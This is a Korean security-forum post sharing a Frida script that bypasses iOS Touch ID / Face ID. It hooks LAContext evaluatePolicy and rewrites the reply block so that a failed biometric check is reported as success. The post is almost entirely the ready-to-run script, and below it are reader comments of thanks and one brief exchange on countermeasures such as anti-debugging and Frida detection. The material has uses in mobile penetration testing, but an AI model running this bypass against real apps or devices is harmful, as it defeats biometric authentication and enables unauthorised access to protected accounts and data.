[FRIDA] TouchID / FaceID Bypass

홈 > IOS > IOS > 툴
IOS

[FRIDA] TouchID / FaceID Bypass

3 쥬스 12 8336 6

Touch ID / Face ID 인증 우회 스크립트입니다 :)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var objc = new ApiResolver('objc');
var reply = {};
console.warn("\n[!] Enjoy the hook! - Juice :)");
 
objc.enumerateMatches('-[LAContext evaluatePolicy:localizedReason:reply:]', {
    onMatch: function (match) {
        reply.name = match.name;
        console.log("[*] reply.name : " + match.name);
        reply.address = match.address;
        console.log("[*] reply.address : " + match.address);
    },
    onComplete: function () { }
});
 
if (reply.address) {
    console.log("[+] TouchID Hooked Success!");
    
    Interceptor.attach(reply.address, {
        onEnter: function (args) {
            console.log("\n");
            var reason = new ObjC.Object(args[3]);
            console.log("\t[*] TouchID Popup Message: " + reason.toString());
 
            var originBlock = new ObjC.Block(args[4]);
            var callbackBlock = originBlock.implementation;
            
            originBlock.implementation = function (success, error) {
                if (!success) {
                    success = true;
                }
                console.error("[*] TouchID/FaceID Bypass Success!");
                callbackBlock(success, error);
            };
        }
    });
}
 
cs

iOS도 제대로 구현된 앱에선 안됩니당~

fee79918380070f869cb6e515724bfd1_1573133436_4851.png
 

12 Comments
1 tuanbeo22061 2020.02.21 14:15  
Thanks you
1 딱다구리 2020.05.19 05:52  
감사합니당 ^^
3 kargan 2020.05.23 19:31  
고맙습니다
7 임중호 2020.05.23 21:24  
고맙습니다
1 코민 2020.05.24 12:37  
와 진짜 신기합니다
1 Minerv4 2020.06.17 09:46  
감사합니다.
4 쿨록 2020.08.09 17:08  
신기하네요.
2 jeniffer 2020.08.18 13:31  
감사합니당
1 에잉이 2020.08.28 23:26  
감사합니다!!
9 koooo 2020.10.13 17:45  
쥬스님 블로그 인용좀 하겠습니다 ^~^
1 test1212 2021.05.10 11:01  
대응방안은 어떻게 되나요????
20 dldldl 2021.05.10 15:13  
디버깅 방지 및 Frida 차단 1차적인 방안이 될듯하네요.